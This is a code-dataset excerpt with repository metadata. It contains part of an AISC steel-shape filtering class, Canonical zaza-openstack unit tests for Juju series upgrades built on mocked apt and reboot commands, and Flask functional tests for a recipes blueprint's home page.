dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def HP(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'HP': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def M(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'M': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def L(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'L': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def ST(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'ST': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def HSS_SQR(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'HSS-SQR': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def MT(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'MT': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def S(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'S': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def WT(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == 'WT': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary def LL(self, filter=[], filter2=[]): shape_selection_list = [] filtered_shape_list = [] dictionary = [] if filter != []: try: filterpropindex = self.labels[0:83].index(filter[0]) filter_start = filter[1] filter_end = filter[2] except ValueError: filter = [] if filter2 != []: try: filterpropindex2 = self.labels[0:83].index(filter2[0]) filter_start2 = filter2[1] filter_end2 = filter2[2] except ValueError: filter2 = [] for shape in self.shapes: if shape[0] == '2L': if filter == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex]) >= filter_start and float(shape[filterpropindex]) <= filter_end): if filter2 == []: shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) elif (float(shape[filterpropindex2]) >= filter_start2 and float(shape[filterpropindex2]) <= filter_end2): shape_selection_list.append(shape[2]) filtered_shape_list.append(shape) dictionary.append(dict(zip(self.labels[0:83],zip(shape[0:83],self.units[0:83],self.defs_only)))) else: pass else: pass else: pass return shape_selection_list,filtered_shape_list,dictionary db = aisc_15th_database() defs = db.definitions sections = db.shapes labels = db.labels

39.533879

126

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0231dbf51a39d74c1028cd861a36f4ebd1c238e8

23,907

py

Python

unit_tests/utilities/test_zaza_utilities_parallel_series_upgrade.py

fnordahl/zaza-openstack-tests

bf4f41213592448a105eb37dc9fa523a89c309a1

[ "ECL-2.0", "Apache-2.0" ]

null

unit_tests/utilities/test_zaza_utilities_parallel_series_upgrade.py

fnordahl/zaza-openstack-tests

bf4f41213592448a105eb37dc9fa523a89c309a1

[ "ECL-2.0", "Apache-2.0" ]

null

unit_tests/utilities/test_zaza_utilities_parallel_series_upgrade.py

fnordahl/zaza-openstack-tests

bf4f41213592448a105eb37dc9fa523a89c309a1

[ "ECL-2.0", "Apache-2.0" ]

null

# Copyright 2020 Canonical Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import asyncio import mock import sys import unittest import unit_tests.utils as ut_utils import zaza.openstack.utilities.generic as generic_utils import zaza.openstack.utilities.series_upgrade as series_upgrade import zaza.openstack.utilities.parallel_series_upgrade as upgrade_utils FAKE_STATUS = { 'can-upgrade-to': '', 'charm': 'local:trusty/app-136', 'subordinate-to': [], 'units': {'app/0': {'leader': True, 'machine': '0', 'subordinates': { 'app-hacluster/0': { 'charm': 'local:trusty/hacluster-0', 'leader': True}}}, 'app/1': {'machine': '1', 'subordinates': { 'app-hacluster/1': { 'charm': 'local:trusty/hacluster-0'}}}, 'app/2': {'machine': '2', 'subordinates': { 'app-hacluster/2': { 'charm': 'local:trusty/hacluster-0'}}}}} FAKE_STATUS_MONGO = { 'can-upgrade-to': '', 'charm': 'local:trusty/mongodb-10', 'subordinate-to': [], 'units': {'mongo/0': {'leader': True, 'machine': '0', 'subordinates': {}}, 'mongo/1': {'machine': '1', 'subordinates': {}}, 'mongo/2': {'machine': '2', 'subordinates': {}}}} class Test_ParallelSeriesUpgradeSync(ut_utils.BaseTestCase): def setUp(self): super(Test_ParallelSeriesUpgradeSync, self).setUp() # Juju Status Object and data # self.juju_status = mock.MagicMock() # self.juju_status.applications.__getitem__.return_value = FAKE_STATUS # self.patch_object(upgrade_utils, "model") # self.model.get_status.return_value = self.juju_status def test_get_leader_and_non_leaders(self): expected = ({ 'app/0': { 'leader': True, 'machine': '0', 'subordinates': { 'app-hacluster/0': { 'charm': 'local:trusty/hacluster-0', 'leader': True}}}}, { 'app/1': { 'machine': '1', 'subordinates': { 'app-hacluster/1': { 'charm': 'local:trusty/hacluster-0'}}}, 'app/2': { 'machine': '2', 'subordinates': { 'app-hacluster/2': { 'charm': 'local:trusty/hacluster-0'}}}}) self.assertEqual( expected, upgrade_utils.get_leader_and_non_leaders(FAKE_STATUS) ) def test_app_config_openstack_charm(self): expected = { 'origin': 'openstack-origin', 'pause_non_leader_subordinate': True, 'pause_non_leader_primary': True, 'post_upgrade_functions': [], 'pre_upgrade_functions': [], 'post_application_upgrade_functions': [], 'follower_first': False, } config = upgrade_utils.app_config('keystone') self.assertEqual(expected, config) def test_app_config_mongo(self): expected = { 'origin': None, 'pause_non_leader_subordinate': True, 'pause_non_leader_primary': True, 'post_upgrade_functions': [], 'pre_upgrade_functions': [], 'post_application_upgrade_functions': [], 'follower_first': True, } config = upgrade_utils.app_config('mongodb') self.assertEqual(expected, config) def test_app_config_ceph(self): expected = { 'origin': 'source', 'pause_non_leader_subordinate': False, 'pause_non_leader_primary': False, 'post_upgrade_functions': [], 'pre_upgrade_functions': [], 'post_application_upgrade_functions': [], 'follower_first': False, } config = upgrade_utils.app_config('ceph-mon') self.assertEqual(expected, config) def test_app_config_percona(self): expected = { 'origin': 'source', 'pause_non_leader_subordinate': True, 'pause_non_leader_primary': True, 'post_upgrade_functions': [], 'pre_upgrade_functions': [], 'post_application_upgrade_functions': [ ('zaza.openstack.charm_tests.mysql.utils.' 'complete_cluster_series_upgrade') ], 'follower_first': False, } config = upgrade_utils.app_config('percona-cluster') self.assertEqual(expected, config) class AioTestCase(ut_utils.BaseTestCase): def __init__(self, methodName='runTest', loop=None): self.loop = loop or asyncio.get_event_loop() self._function_cache = {} super(AioTestCase, self).__init__(methodName=methodName) def coroutine_function_decorator(self, func): def wrapper(*args, **kw): return self.loop.run_until_complete(func(*args, **kw)) return wrapper def __getattribute__(self, item): attr = object.__getattribute__(self, item) if asyncio.iscoroutinefunction(attr) and item.startswith('test_'): if item not in self._function_cache: self._function_cache[item] = ( self.coroutine_function_decorator(attr)) return self._function_cache[item] return attr class TestParallelSeriesUpgrade(AioTestCase): def setUp(self): super(TestParallelSeriesUpgrade, self).setUp() if sys.version_info < (3, 6, 0): raise unittest.SkipTest("Can't AsyncMock in py35") self.patch_object(series_upgrade, "async_prepare_series_upgrade") self.patch_object(generic_utils, 'check_call') # Juju Status Object and data self.juju_status = mock.AsyncMock() self.juju_status.return_value.applications.__getitem__.return_value = \ FAKE_STATUS self.patch_object(upgrade_utils, "model") self.model.async_get_status = self.juju_status self.async_run_action = mock.AsyncMock() self.model.async_run_action = self.async_run_action self.async_block_until = mock.AsyncMock() self.model.async_block_until = self.async_block_until self.model.async_wait_for_unit_idle = mock.AsyncMock() self.async_run_on_machine = mock.AsyncMock() self.model.async_run_on_machine = self.async_run_on_machine self.model.async_block_until_units_on_machine_are_idle = \ mock.AsyncMock() @mock.patch.object(upgrade_utils.cl_utils, 'get_class') async def test_run_post_application_upgrade_functions( self, mock_get_class ): called = mock.AsyncMock() mock_get_class.return_value = called await upgrade_utils.run_post_application_upgrade_functions( ['my.thing']) mock_get_class.assert_called_once_with('my.thing') called.assert_called() @mock.patch.object(upgrade_utils.cl_utils, 'get_class') async def test_run_pre_upgrade_functions(self, mock_get_class): called = mock.AsyncMock() mock_get_class.return_value = called await upgrade_utils.run_pre_upgrade_functions('1', ['my.thing']) mock_get_class.assert_called_once_with('my.thing') called.assert_called_once_with('1') @mock.patch.object(upgrade_utils, 'run_post_application_upgrade_functions') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_prepare_series_upgrade') @mock.patch.object(upgrade_utils.series_upgrade_utils, 'async_set_series') @mock.patch.object(upgrade_utils, 'maybe_pause_things') @mock.patch.object(upgrade_utils, 'series_upgrade_machine') async def test_parallel_series_upgrade_mongo( self, mock_series_upgrade_machine, mock_maybe_pause_things, mock_async_set_series, mock_async_prepare_series_upgrade, mock_post_application_upgrade_functions, ): self.juju_status.return_value.applications.__getitem__.return_value = \ FAKE_STATUS_MONGO upgrade_config = upgrade_utils.app_config('mongodb') await upgrade_utils.parallel_series_upgrade( 'mongodb', from_series='trusty', to_series='xenial', **upgrade_config ) mock_async_set_series.assert_called_once_with( 'mongodb', to_series='xenial') self.juju_status.assert_called() # The below is using `any_order=True` because the ordering is # undetermined and differs between python versions mock_async_prepare_series_upgrade.assert_has_calls([ mock.call('1', to_series='xenial'), mock.call('2', to_series='xenial'), mock.call('0', to_series='xenial'), ], any_order=True) mock_maybe_pause_things.assert_called() mock_series_upgrade_machine.assert_has_calls([ mock.call( '1', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), mock.call( '2', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), mock.call( '0', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), ]) mock_post_application_upgrade_functions.assert_called_once_with([]) @mock.patch.object(upgrade_utils, 'run_post_application_upgrade_functions') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_prepare_series_upgrade') @mock.patch.object(upgrade_utils.series_upgrade_utils, 'async_set_series') @mock.patch.object(upgrade_utils, 'maybe_pause_things') @mock.patch.object(upgrade_utils, 'series_upgrade_machine') async def test_serial_series_upgrade_mongo( self, mock_series_upgrade_machine, mock_maybe_pause_things, mock_async_set_series, mock_async_prepare_series_upgrade, mock_post_application_upgrade_functions, ): self.juju_status.return_value.applications.__getitem__.return_value = \ FAKE_STATUS_MONGO upgrade_config = upgrade_utils.app_config('mongodb') await upgrade_utils.serial_series_upgrade( 'mongodb', from_series='trusty', to_series='xenial', **upgrade_config ) mock_async_set_series.assert_called_once_with( 'mongodb', to_series='xenial') self.juju_status.assert_called() mock_async_prepare_series_upgrade.assert_has_calls([ mock.call('1', to_series='xenial'), mock.call('2', to_series='xenial'), mock.call('0', to_series='xenial'), ]) mock_maybe_pause_things.assert_called() mock_series_upgrade_machine.assert_has_calls([ mock.call( '1', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), mock.call( '2', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), mock.call( '0', origin=None, application='mongodb', files=None, workaround_script=None, post_upgrade_functions=[]), ]) mock_post_application_upgrade_functions.assert_called_once_with([]) @mock.patch.object(upgrade_utils, 'run_post_application_upgrade_functions') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_prepare_series_upgrade') @mock.patch.object(upgrade_utils.series_upgrade_utils, 'async_set_series') @mock.patch.object(upgrade_utils, 'maybe_pause_things') @mock.patch.object(upgrade_utils, 'series_upgrade_machine') async def test_parallel_series_upgrade( self, mock_series_upgrade_machine, mock_maybe_pause_things, mock_async_set_series, mock_async_prepare_series_upgrade, mock_post_application_upgrade_functions, ): await upgrade_utils.parallel_series_upgrade( 'app', from_series='trusty', to_series='xenial', ) mock_async_set_series.assert_called_once_with( 'app', to_series='xenial') self.juju_status.assert_called() # The below is using `any_order=True` because the ordering is # undetermined and differs between python versions mock_async_prepare_series_upgrade.assert_has_calls([ mock.call('1', to_series='xenial'), mock.call('2', to_series='xenial'), mock.call('0', to_series='xenial'), ], any_order=True) mock_maybe_pause_things.assert_called() mock_series_upgrade_machine.assert_has_calls([ mock.call( '1', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), mock.call( '2', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), mock.call( '0', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), ]) mock_post_application_upgrade_functions.assert_called_once_with(None) @mock.patch.object(upgrade_utils, 'run_post_application_upgrade_functions') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_prepare_series_upgrade') @mock.patch.object(upgrade_utils.series_upgrade_utils, 'async_set_series') @mock.patch.object(upgrade_utils, 'maybe_pause_things') @mock.patch.object(upgrade_utils, 'series_upgrade_machine') async def test_serial_series_upgrade( self, mock_series_upgrade_machine, mock_maybe_pause_things, mock_async_set_series, mock_async_prepare_series_upgrade, mock_post_application_upgrade_functions, ): await upgrade_utils.serial_series_upgrade( 'app', from_series='trusty', to_series='xenial', ) mock_async_set_series.assert_called_once_with( 'app', to_series='xenial') self.juju_status.assert_called() mock_async_prepare_series_upgrade.assert_has_calls([ mock.call('0', to_series='xenial'), mock.call('1', to_series='xenial'), mock.call('2', to_series='xenial'), ]) mock_maybe_pause_things.assert_called() mock_series_upgrade_machine.assert_has_calls([ mock.call( '0', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), mock.call( '1', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), mock.call( '2', origin='openstack-origin', application='app', files=None, workaround_script=None, post_upgrade_functions=None), ]) mock_post_application_upgrade_functions.assert_called_once_with(None) @mock.patch.object(upgrade_utils, 'add_confdef_file') @mock.patch.object(upgrade_utils, 'remove_confdef_file') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_complete_series_upgrade') @mock.patch.object(upgrade_utils, 'reboot') @mock.patch.object(upgrade_utils, 'async_do_release_upgrade') @mock.patch.object(upgrade_utils, 'async_dist_upgrade') async def test_series_upgrade_machine( self, mock_async_dist_upgrade, mock_async_do_release_upgrade, mock_reboot, mock_async_complete_series_upgrade, mock_remove_confdef_file, mock_add_confdef_file ): await upgrade_utils.series_upgrade_machine( '1', post_upgrade_functions=None, pre_upgrade_functions=None, files=None, workaround_script=None) mock_async_dist_upgrade.assert_called_once_with('1') mock_async_do_release_upgrade.assert_called_once_with('1') mock_reboot.assert_called_once_with('1') mock_async_complete_series_upgrade.assert_called_once_with('1') mock_remove_confdef_file.assert_called_once_with('1') mock_add_confdef_file.assert_called_once_with('1') @mock.patch.object(upgrade_utils, 'add_confdef_file') @mock.patch.object(upgrade_utils, 'remove_confdef_file') @mock.patch.object(upgrade_utils.os_utils, 'async_set_origin') @mock.patch.object( upgrade_utils.series_upgrade_utils, 'async_complete_series_upgrade') @mock.patch.object(upgrade_utils, 'reboot') @mock.patch.object(upgrade_utils, 'async_do_release_upgrade') @mock.patch.object(upgrade_utils, 'async_dist_upgrade') async def test_series_upgrade_machine_with_source( self, mock_async_dist_upgrade, mock_async_do_release_upgrade, mock_reboot, mock_async_complete_series_upgrade, mock_async_set_origin, mock_remove_confdef_file, mock_add_confdef_file ): await upgrade_utils.series_upgrade_machine( '1', origin='openstack-origin', application='app', post_upgrade_functions=None, pre_upgrade_functions=None, files=None, workaround_script=None) mock_async_dist_upgrade.assert_called_once_with('1') mock_async_do_release_upgrade.assert_called_once_with('1') mock_reboot.assert_called_once_with('1') mock_async_complete_series_upgrade.assert_called_once_with('1') mock_async_set_origin.assert_called_once_with( 'app', 'openstack-origin') mock_remove_confdef_file.assert_called_once_with('1') mock_add_confdef_file.assert_called_once_with('1') @mock.patch("asyncio.gather") async def test_maybe_pause_things_primary(self, mock_gather): async def _gather(*args): for f in args: await f mock_gather.side_effect = _gather await upgrade_utils.maybe_pause_things( FAKE_STATUS, ['app/1', 'app/2'], pause_non_leader_subordinate=False, pause_non_leader_primary=True) self.async_run_action.assert_has_calls([ mock.call('app/1', "pause", action_params={}), mock.call('app/2', "pause", action_params={}), ]) @mock.patch("asyncio.gather") async def test_maybe_pause_things_subordinates(self, mock_gather): async def _gather(*args): for f in args: await f mock_gather.side_effect = _gather await upgrade_utils.maybe_pause_things( FAKE_STATUS, ['app/1', 'app/2'], pause_non_leader_subordinate=True, pause_non_leader_primary=False) self.async_run_action.assert_has_calls([ mock.call('app-hacluster/1', "pause", action_params={}), mock.call('app-hacluster/2', "pause", action_params={}), ]) @mock.patch("asyncio.gather") async def test_maybe_pause_things_all(self, mock_gather): async def _gather(*args): for f in args: await f mock_gather.side_effect = _gather await upgrade_utils.maybe_pause_things( FAKE_STATUS, ['app/1', 'app/2'], pause_non_leader_subordinate=True, pause_non_leader_primary=True) self.async_run_action.assert_has_calls([ mock.call('app-hacluster/1', "pause", action_params={}), mock.call('app/1', "pause", action_params={}), mock.call('app-hacluster/2', "pause", action_params={}), mock.call('app/2', "pause", action_params={}), ]) async def test_maybe_pause_things_none(self): await upgrade_utils.maybe_pause_things( FAKE_STATUS, ['app/1', 'app/2'], pause_non_leader_subordinate=False, pause_non_leader_primary=False) self.async_run_action.assert_not_called() async def test_add_confdef_file(self): await upgrade_utils.add_confdef_file('1') cmd = ( """echo """ """'DPkg::options { "--force-confdef"; "--force-confnew"; }' | """ """sudo tee /etc/apt/apt.conf.d/local""" ) self.async_run_on_machine.assert_called_once_with( '1', cmd ) async def test_remove_confdef_file(self): await upgrade_utils.remove_confdef_file('1') self.async_run_on_machine.assert_called_once_with( '1', 'sudo rm /etc/apt/apt.conf.d/local' ) async def test_async_do_release_upgrade(self): await upgrade_utils.async_do_release_upgrade('1') do_release_upgrade_cmd = ( 'yes | sudo DEBIAN_FRONTEND=noninteractive ' 'do-release-upgrade -f DistUpgradeViewNonInteractive') self.async_run_on_machine.assert_called_once_with( '1', do_release_upgrade_cmd, timeout='120m' ) async def test_prepare_series_upgrade(self): await upgrade_utils.prepare_series_upgrade( '1', to_series='xenial' ) self.async_prepare_series_upgrade.assert_called_once_with( '1', to_series='xenial' ) async def test_reboot(self): await upgrade_utils.reboot('1') self.async_run_on_machine.assert_called_once_with( '1', 'sudo init 6 & exit' ) async def test_async_dist_upgrade(self): await upgrade_utils.async_dist_upgrade('1') apt_update_command = ( """yes | sudo DEBIAN_FRONTEND=noninteractive """ """apt-get --assume-yes """ """-o "Dpkg::Options::=--force-confdef" """ """-o "Dpkg::Options::=--force-confold" dist-upgrade""") self.async_run_on_machine.assert_has_calls([ mock.call('1', 'sudo apt-get update'), mock.call('1', apt_update_command), ])

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0.610742

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5.220899

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0.803091

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1

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null

0

7

026ab65d70a704acad659ec9d7adeee9facfc7bb

2,247

py

Python

tests/functional/test_recipes.py

bharathjinka09/flask-pytest-registration

d4996e9979d08ea1b1243ce297219a8c6d22c608

[ "BSD-2-Clause" ]

null

tests/functional/test_recipes.py

bharathjinka09/flask-pytest-registration

d4996e9979d08ea1b1243ce297219a8c6d22c608

[ "BSD-2-Clause" ]

null

tests/functional/test_recipes.py

bharathjinka09/flask-pytest-registration

d4996e9979d08ea1b1243ce297219a8c6d22c608

[ "BSD-2-Clause" ]

null

""" This file (test_recipes.py) contains the functional tests for the `recipes` blueprint. These tests use GETs and POSTs to different URLs to check for the proper behavior of the `recipes` blueprint. """ from project import create_app def test_home_page(): """ GIVEN a Flask application configured for testing WHEN the '/' page is requested (GET) THEN check that the response is valid """ flask_app = create_app('flask_test.cfg') # Create a test client using the Flask application configured for testing with flask_app.test_client() as test_client: response = test_client.get('/') assert response.status_code == 200 assert b"Welcome to the" in response.data assert b"Flask User Management Example!" in response.data assert b"Need an account?" in response.data assert b"Existing user?" in response.data def test_home_page_post(): """ GIVEN a Flask application configured for testing WHEN the '/' page is is posted to (POST) THEN check that a '405' status code is returned """ flask_app = create_app('flask_test.cfg') # Create a test client using the Flask application configured for testing with flask_app.test_client() as test_client: response = test_client.post('/') assert response.status_code == 405 assert b"Flask User Management Example!" not in response.data def test_home_page_with_fixture(test_client): """ GIVEN a Flask application configured for testing WHEN the '/' page is requested (GET) THEN check that the response is valid """ response = test_client.get('/') assert response.status_code == 200 assert b"Welcome to the" in response.data assert b"Flask User Management Example!" in response.data assert b"Need an account?" in response.data assert b"Existing user?" in response.data def test_home_page_post_with_fixture(test_client): """ GIVEN a Flask application configured for testing WHEN the '/' page is is posted to (POST) THEN check that a '405' status code is returned """ response = test_client.post('/') assert response.status_code == 405 assert b"Flask User Management Example!" not in response.data

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0

null

0

1

0

8

5a0932402b85c9b687b639e6e65ebef35b906f84

84,677

py

Python

tests/test_phase.py

markusrobertjonsson/lesim2

05e171dbb7f1f4046b4363083030dfc6195f5a03

[ "MIT" ]

null

tests/test_phase.py

markusrobertjonsson/lesim2

05e171dbb7f1f4046b4363083030dfc6195f5a03

[ "MIT" ]

107

2019-04-12T13:21:08.000Z

2020-11-16T20:41:53.000Z

tests/test_phase.py

markusrobertjonsson/lesim2

05e171dbb7f1f4046b4363083030dfc6195f5a03

[ "MIT" ]

9

2019-04-17T19:48:19.000Z

